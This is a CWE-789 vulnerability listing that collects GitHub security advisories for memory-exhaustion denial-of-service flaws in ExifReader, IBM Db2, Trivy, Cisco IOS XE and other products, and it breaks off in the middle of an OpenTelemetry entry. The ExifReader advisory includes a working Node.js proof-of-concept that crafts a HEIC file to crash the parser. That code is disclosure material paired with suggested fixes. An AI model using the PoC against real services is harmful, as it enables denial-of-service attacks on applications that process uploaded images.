Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

508 vulnerabilities reference this CWE, most recent first.

GHSA-PJ96-35FP-CFCC

Vulnerability from github – Published: 2026-09-17 16:30 – Updated: 2026-09-17 16:30
VLAI
Summary
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Details

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

Field Controls
offsetSize Bytes per extent offset
lengthSize Bytes per extent length
baseOffsetSize Bytes per item base offset
indexSize Bytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

Items File size Extent objects Parse time Heap growth
1 58 bytes 65,535 0.03s +4 MB
5 82 bytes 327,675 0.17s +16 MB
100 652 bytes 6,553,500 1.74s +401 MB
256 1,588 bytes 16,776,960 ~8s OOM crash
10000 60,052 bytes 655,350,000 - OOM crash (4 GB+)
image

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.41.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.41.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T16:30:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount \u00d7 extentCount` (65535 \u00d7 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79\u2013116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0\u201315):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require(\u0027fs\u0027);\nconst ExifReader = require(\u0027../ExifReader-4.41.0/dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n    return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction u16be(n) {\n    return [(n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box(\u0027ftyp\u0027, [\n    ...str(\u0027heic\u0027),\n    ...u32be(0),\n    ...str(\u0027mif1\u0027),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box(\u0027iloc\u0027, ilocPayload);\nconst meta = box(\u0027meta\u0027, [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync(\u0027/tmp/poc_iloc_dos.heic\u0027, data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader\u0027s existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 \u0026\u0026 sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount \u003e 0 to maintain correctness\n    continue;\n}\n```",
  "id": "GHSA-pj96-35fp-cfcc",
  "modified": "2026-09-17T16:30:00Z",
  "published": "2026-09-17T16:30:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}

GHSA-PP8V-2QR4-VR68

Vulnerability from github – Published: 2025-11-07 21:31 – Updated: 2025-11-07 21:31
VLAI
Details

IBM Db2 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-2534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-07T19:15:46Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
  "id": "GHSA-pp8v-2qr4-vr68",
  "modified": "2025-11-07T21:31:20Z",
  "published": "2025-11-07T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2534"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7250472"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PPXJ-MVPH-J9W4

Vulnerability from github – Published: 2026-08-04 21:30 – Updated: 2026-08-04 21:30
VLAI
Details

SnailJob 1.7.0 contains a denial of service vulnerability in the FuryUtil.deserialize helper that allows authenticated attackers to crash the server by supplying a crafted Zstandard-compressed payload with an inflated frame_content_size field in the frame header. Attackers can store a base64-encoded Zstandard payload declaring an arbitrarily large decompressed size in a retry task argument, causing the JVM to attempt an unbounded array allocation and triggering an unrecoverable java.lang.OutOfMemoryError when the task is dispatched through the retry-task pipeline.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-69702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T19:16:53Z",
    "severity": "HIGH"
  },
  "details": "SnailJob 1.7.0 contains a denial of service vulnerability in the FuryUtil.deserialize helper that allows authenticated attackers to crash the server by supplying a crafted Zstandard-compressed payload with an inflated frame_content_size field in the frame header. Attackers can store a base64-encoded Zstandard payload declaring an arbitrarily large decompressed size in a retry task argument, causing the JVM to attempt an unbounded array allocation and triggering an unrecoverable java.lang.OutOfMemoryError when the task is dispatched through the retry-task pipeline.",
  "id": "GHSA-ppxj-mvph-j9w4",
  "modified": "2026-08-04T21:30:28Z",
  "published": "2026-08-04T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69702"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/aizuda/snail-job"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/aizuda/snail-job/issues/ICRJMI"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/aizuda/snail-job/releases#release-vsj2.0.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/snailjob-denial-of-service-via-furyutil-deserialize-oom"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PXP6-97Q7-W6WM

Vulnerability from github – Published: 2025-05-07 18:30 – Updated: 2025-05-07 18:30
VLAI
Details

A vulnerability in the Wireless Network Control daemon (wncd) of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, adjacent wireless attacker to cause a denial of service (DoS) condition.

This vulnerability is due to improper memory management. An attacker could exploit this vulnerability by sending a series of IPv6 network requests from an associated wireless IPv6 client to an affected device. To associate a client to a device, an attacker may first need to authenticate to the network, or associate freely in the case of a configured open network. A successful exploit could allow the attacker to cause the wncd process to consume available memory and eventually cause the device to stop responding, resulting in a DoS condition.

Severity
7.4 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-07T18:15:36Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Wireless Network Control daemon (wncd) of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, adjacent wireless attacker to cause a denial of service (DoS) condition.\n\n This vulnerability is due to improper memory management. An attacker could exploit this vulnerability by sending a series of IPv6 network requests from an associated wireless IPv6 client to an affected device. To associate a client to a device, an attacker may first need to authenticate to the network, or associate freely in the case of a configured open network. A successful exploit could allow the attacker to cause the wncd process to consume available memory and eventually cause the device to stop responding, resulting in a DoS condition.",
  "id": "GHSA-pxp6-97q7-w6wm",
  "modified": "2025-05-07T18:30:48Z",
  "published": "2025-05-07T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20140"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-wncd-p6Gvt6HL"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q3FV-X8VG-QQM4

Vulnerability from github – Published: 2026-07-14 19:52 – Updated: 2026-07-14 19:52
VLAI
Summary
Trivy: Helm chart tar bomb causes OOM via unbounded io.ReadAll in parser
Details

Summary

When Trivy scans a Helm chart archive (.tgz), its custom tar unpacker reads each entry with io.ReadAll(tr) and no size limit. An attacker who can place a malicious .tgz file in the scanned path can craft a small compressed archive that decompresses to gigabytes, causing the Trivy process to be killed by the OS OOM killer.

Affected configurations

Exploitation requires the attacker to place a crafted .tgz file in a location that Trivy will scan as a Helm chart. This applies to the following scan targets:

Command Condition
trivy config <dir> Directory contains a crafted .tgz Helm chart (misconfiguration scanning is always enabled)
trivy filesystem --scanners misconf <dir> Directory contains a crafted .tgz Helm chart and --scanners misconf is explicitly enabled
trivy image --scanners misconf <image> Image contains a crafted .tgz Helm chart and --scanners misconf is explicitly enabled

Realistic scenarios include: - A CI pipeline that runs trivy config . on a repository where a contributor can submit a pull request containing a crafted chart archive. - A pipeline that scans a container image with --scanners misconf, whose build context includes untrusted .tgz files.

Impact

An attacker who satisfies the conditions above can exhaust all available memory on the host running Trivy. The OS OOM killer will terminate the Trivy process and may affect other processes sharing the same host or CI runner.

The practical impact in CI environments is denial of service: the scan fails, the pipeline is blocked, and repeated submissions re-trigger the same condition. Cloud CI runners may also incur additional costs for consumed resources.

There is no impact on confidentiality or integrity of the scanned system.

Patches

Fixed in Trivy v0.71.0 (#10718). The custom tar unpacker was replaced with archive.LoadArchiveFiles from the official helm.sh/helm/v4 SDK, which enforces per-entry and total size limits and validates archive structure. Users should upgrade to v0.71.0 or later.

Workarounds

If upgrading is not immediately possible: - Set a memory limit (cgroup/container) on the Trivy process to bound the blast radius. - Use --skip-dirs to exclude directories containing untrusted Helm chart archives from the scan. - Avoid scanning repositories or images with untrusted .tgz files.

Credits

Reported by @jamesgol.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/aquasecurity/trivy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.71.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T19:52:14Z",
    "nvd_published_at": "2026-06-25T17:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen Trivy scans a Helm chart archive (`.tgz`), its custom tar unpacker reads each entry with `io.ReadAll(tr)` and no size limit. An attacker who can place a malicious `.tgz` file in the scanned path can craft a small compressed archive that decompresses to gigabytes, causing the Trivy process to be killed by the OS OOM killer.\n\n## Affected configurations\n\nExploitation requires the attacker to place a crafted `.tgz` file in a location that Trivy will scan as a Helm chart. This applies to the following scan targets:\n\n| Command | Condition |\n| --- | --- |\n| `trivy config \u003cdir\u003e` | Directory contains a crafted `.tgz` Helm chart (misconfiguration scanning is always enabled) |\n| `trivy filesystem --scanners misconf \u003cdir\u003e` | Directory contains a crafted `.tgz` Helm chart **and** `--scanners misconf` is explicitly enabled |\n| `trivy image --scanners misconf \u003cimage\u003e` | Image contains a crafted `.tgz` Helm chart **and** `--scanners misconf` is explicitly enabled |\n\nRealistic scenarios include:\n- A CI pipeline that runs `trivy config .` on a repository where a contributor can submit a pull request containing a crafted chart archive.\n- A pipeline that scans a container image with `--scanners misconf`, whose build context includes untrusted `.tgz` files.\n\n## Impact\n\nAn attacker who satisfies the conditions above can exhaust all available memory on the host running Trivy. The OS OOM killer will terminate the Trivy process and may affect other processes sharing the same host or CI runner.\n\nThe practical impact in CI environments is denial of service: the scan fails, the pipeline is blocked, and repeated submissions re-trigger the same condition. Cloud CI runners may also incur additional costs for consumed resources.\n\nThere is no impact on confidentiality or integrity of the scanned system.\n\n## Patches\n\nFixed in Trivy `v0.71.0` (#10718). The custom tar unpacker was replaced with `archive.LoadArchiveFiles` from the official `helm.sh/helm/v4` SDK, which enforces per-entry and total size limits and validates archive structure. Users should upgrade to `v0.71.0` or later.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n- Set a memory limit (cgroup/container) on the Trivy process to bound the blast radius.\n- Use `--skip-dirs` to exclude directories containing untrusted Helm chart archives from the scan.\n- Avoid scanning repositories or images with untrusted `.tgz` files.\n\n## Credits\n\nReported by @jamesgol.",
  "id": "GHSA-q3fv-x8vg-qqm4",
  "modified": "2026-07-14T19:52:14Z",
  "published": "2026-07-14T19:52:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aquasecurity/trivy/security/advisories/GHSA-q3fv-x8vg-qqm4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aquasecurity/trivy/pull/10718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aquasecurity/trivy/commit/441251e51ae46cbcf7f436547e0a5766b25328b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aquasecurity/trivy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aquasecurity/trivy/releases/tag/v0.71.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Trivy: Helm chart tar bomb causes OOM via unbounded io.ReadAll in parser"
}

GHSA-Q6HH-GP44-4HCM

Vulnerability from github – Published: 2026-07-31 16:10 – Updated: 2026-07-31 16:15
VLAI
Summary
Wings: Maliciously or erroneously created parsed config files can cause wings process to OOM
Details

Summary

Config file parsers, json, yaml, xml etc in parser.go have no file size limit/checks, allowing for a giant config file to potentially OOM the wings process.

Impact

All wings users who have an egg with a non-file parser configuration file setting.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:10:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nConfig file parsers, `json`, `yaml`, `xml` etc in parser.go have no file size limit/checks, allowing for a giant config file to potentially OOM the wings process.\n\n### Impact\nAll wings users who have an egg with a non-`file` parser configuration file setting.",
  "id": "GHSA-q6hh-gp44-4hcm",
  "modified": "2026-07-31T16:15:33Z",
  "published": "2026-07-31T16:10:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-q6hh-gp44-4hcm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/commit/5f71f65711b6b9e6f913bec94a7b36d9a5eaae49"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/wings"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/releases/tag/v1.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wings: Maliciously or erroneously created parsed config files can cause wings process to OOM"
}

GHSA-Q7VQ-23C3-QM7W

Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation. IBM X-Force ID: 292639.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-35152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-14T18:15:12Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation. IBM X-Force ID:  292639.",
  "id": "GHSA-q7vq-23c3-qm7w",
  "modified": "2025-11-04T18:31:17Z",
  "published": "2024-08-14T18:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35152"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/292639"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240912-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7165342"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q834-8QMM-V933

Vulnerability from github – Published: 2026-04-23 21:26 – Updated: 2026-04-23 21:26
VLAI
Summary
OpenTelemetry dotnet: OTLP exporter reads unbounded HTTP response bodies
Details

Summary

When exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.

This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.

Details

